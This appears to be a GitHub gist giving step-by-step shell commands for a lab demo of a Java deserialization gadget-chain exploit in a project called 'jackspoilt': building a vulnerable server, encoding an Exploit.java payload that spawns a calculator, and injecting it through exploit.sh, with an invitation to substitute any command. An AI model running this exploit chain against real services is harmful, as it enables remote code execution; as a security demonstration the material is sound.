Skip to content

Instantly share code, notes, and snippets.

@conikeec
Created April 19, 2024 18:52
Show Gist options
  • Save conikeec/236f3091a02b02a64c78e736fe612520 to your computer and use it in GitHub Desktop.
Save conikeec/236f3091a02b02a64c78e736fe612520 to your computer and use it in GitHub Desktop.
## Build the project
# spin up a shell prompt
git clone https://github.com/conikeec/jackspoilt.git
cd jackspoilt
# compile and package
mvn clean package
# verify if gadgets are avaliable to exploit (refer blog)
mvn dependency:tree
# Start application server
java -jar target/jackspoilt-1.0-SNAPSHOT.jar
## Spin up another terminal
cd jackspoilt
# create the exploit by editing ./master/exploit/Exploit.java
# current version adds errros to log and spawns a calculator on OSX
# (For Linux based OS please revise the line to specify an exploit of your choice)
# Modify here https://github.com/conikeec/jackspoilt/blob/master/exploit/Exploit.java#L13
# compile ./master/exploit/Exploit.java
rm attackscripts/attack.json
mvn exec:java -D"exec.mainClass"="EncodeExploit"
# The command above creates attack.json in the attackscripts directory
more attackscripts/attack.json
## Run the exploit
# Ensure that the service is running on the other terminal
# exercise the web routes
./add.sh
./list.sh
# This command will inject a malicious payload, trigger gadget chain
# (Edit exploit/Exploit.java to add your exploit command of choice)
./exploit.sh
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment